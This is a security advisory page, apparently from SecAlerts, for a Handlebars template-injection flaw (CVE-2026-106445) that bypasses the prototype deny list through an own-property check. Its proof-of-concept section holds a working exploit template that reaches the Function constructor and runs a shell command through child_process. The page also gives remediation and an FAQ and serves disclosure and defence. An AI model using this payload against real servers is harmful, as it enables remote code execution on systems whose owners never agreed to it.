CVE-2026-106445: Handlebars: JavaScript Injection via Own Property Check Bypass

Published Oct 6, 2026
·
Updated

Summary

Handlebars can expose the Function constructor despite its prototype-access deny list. When a template reaches Function.prototype, its own constructor property is returned before the deny list is checked. An attacker who can render a controlled template with allowProtoMethodsByDefault: true can inject and execute arbitrary JavaScript, leading to Remote Code Execution on the server.

Description

lookupProperty trusts own properties:

js if (Object.prototype.hasOwnProperty.call(parent, propertyName)) { return result; }

Normally, prototype-derived values reach resultIsAllowed, which blocks dangerous method names such as constructor. However, constructor is itself an own property of prototype objects:

js Function.prototype.constructor === Function; String.prototype.constructor === String; Object.prototype.constructor === Object;

As a result, once a template reaches Function.prototype, looking up constructor returns Function without consulting the deny list.

Proof of Concept

An attacker needs to reach any prototype object where constructor is an own property, then access constructor to obtain Function. The shortest path requires only an accessible function in the template context:

1. Access a function's prototype: {{lookup myFunction "proto"}} resolves to Function.prototype. The proto property is not in the deny list and is permitted when allowProtoMethodsByDefault is true (since the result is a function). 2. Access constructor via own property bypass: {{lookup (lookup myFunction "\\proto") "constructor"}} resolves to Function. Because Function.prototype.constructor is an own property of Function.prototype, hasOwnProperty returns true and lookupProperty returns the value without calling resultIsAllowed. The deny list entry constructor: false is never evaluated. 3. Construct and execute arbitrary code: The attacker uses Function to create a function with attacker-controlled body content and triggers its execution through Handlebars' template rendering mechanics (e.g., #with calling functions, lambda processing, or #each iteration combined with apply).

javascript const Handlebars = require('handlebars');

// constructor deny list bypass via hasOwnProperty check in lookupProperty const template = Handlebars.compile( // construct code array from template string literal '{{#with a}}' + '{{lookup "" (push "return process.mainModule.require(\'childprocess\').execSync(\'id\').toString()")}}' + '{{lookup "" (pop)}}' + '{{lookup "" (shift)}}' + '{{/with}}' +

// access Function via own property bypass on Function.prototype.constructor '{{lookup "" (@root.a.push (lookup (lookup fn "proto") "constructor"))}}' +

// #each sets depth0=Function without calling it, apply avoids hash body '{{#each @root}}{{#if @index}}{{else}}' + '{{#with (this.apply null @root.a)}}{{this}}{{/with}}' + '{{/if}}{{/each}}' );

const result = template( { fn: function(){}, a: [0] }, { allowProtoMethodsByDefault: true } );

console.log(result.trim());

// output: uid=1000(node) gid=1000(node) groups=1000(node)

Workarounds

Do not set allowProtoMethodsByDefault: true when compiling untrusted templates with untrusted data.

Other sources

Handlebars provides the power necessary to let users build semantic templates. From 3.0.0 until 4.7.10, Handlebars lookupProperty returns Function.prototype.constructor before applying the prototype-access deny list because constructor is an own property of Function.prototype. When an attacker can render a controlled template with allowProtoMethodsByDefault enabled and an accessible function in the template context, the template can traverse from that function through its prototype to Function.prototype and then obtain the Function constructor through the own-property bypass. This permits attacker-controlled JavaScript to execute with the server application's privileges. This issue is fixed in version 4.7.10.

— MITRE

Handlebars provides the power necessary to let users build semantic templates. From 4.0.0 until 4.7.10, Handlebars lookupProperty returns Function.prototype.constructor before applying the prototype-access deny list because constructor is an own property of Function.prototype. When an attacker can render a controlled template with allowProtoMethodsByDefault enabled and an accessible function in the template context, the template can traverse from that function through its prototype to Function.prototype and then obtain the Function constructor through the own-property bypass. This permits attacker-controlled JavaScript to execute with the server application's privileges. This issue is fixed in version 4.7.10.

— NVD

Affected Software

4 affected componentsFixes available
Handlebars Handlebars>=4.0.0<4.7.10
npm/handlebars>=4.0.0<=4.7.9
4.7.10
IBM App Connect Operator<=CD: 12.1.0 - 12.21.0 12.0 LTS: 12.0.0 - 12.0.28 13 LTS: 13.0.0 - 13.6.0
IBM App Connect EnterpriseCertified Containers Operands<=CD: 12.0.11.1-r1 - 12.0.12.5-r1, 13.0.1.0-r1 - 13.0.6.2-r1 12.0 LTS: 12.0.12-r1 - 12.0.12-r28 13 LTS: 13.0.7.0-r1 - 13.0.9.0-r1

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade npm/handlebars to a version that resolves this vulnerability.

    Fixed in 4.7.10
  2. Upgrade

    Upgrade Handlebars to a version that resolves this vulnerability.

    Fixed in 4.7.10
  3. Configuration

    Do not set allowProtoMethodsByDefault to true when compiling untrusted templates with untrusted data.

    Handlebars allowProtoMethodsByDefault = false

Event History

Oct 6, 2026
CVE Published
via MITRE·07:39 PM
Data Sourced
via MITRE·07:39 PM
DescriptionWeakness
Data Sourced
via Red Hat·07:54 PM
DescriptionSeverityAffected Software
Data Sourced
via NVD·08:17 PM
DescriptionSeverityWeakness
Oct 8, 2026
Advisory Published
via GitHub·05:52 PM
Data Sourced
via GitHub·05:52 PM
DescriptionWeaknessAffected Software
Oct 10, 2026
Exploit Published
via GitHub·08:24 AM
Nov 9, 2026
Data Sourced
via IBM·12:00 AM
DescriptionAffected Software

Parent advisories

This vulnerability appears in the following advisories.

Frequently Asked Questions

1

Which deployments are exposed to remote code execution?

Deployments using Handlebars versions from 4.0.0 through 4.7.9 are exposed when untrusted users can render controlled templates, allowProtoMethodsByDefault is enabled, and the template context exposes an accessible function.

2

What must an attacker be able to do to exploit this issue?

An attacker needs to supply or control a template that the application renders. They also need the template environment to permit prototype methods by default and to include an accessible function in the rendering context.

3

Are default Handlebars settings affected?

The described exploit requires allowProtoMethodsByDefault to be enabled. The provided information does not indicate that this setting is enabled by default.

4

What should be done if upgrading cannot happen immediately?

Prevent untrusted parties from supplying templates, disable allowProtoMethodsByDefault, and avoid exposing functions in the template context. These measures remove the stated prerequisites for the exploit.

5

How can teams determine whether they are affected?

Check whether the application uses Handlebars 4.0.0 through 4.7.9, renders attacker-controlled templates, has allowProtoMethodsByDefault enabled, and passes accessible functions into the template context. Upgrading to 4.7.10 fixes the issue.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203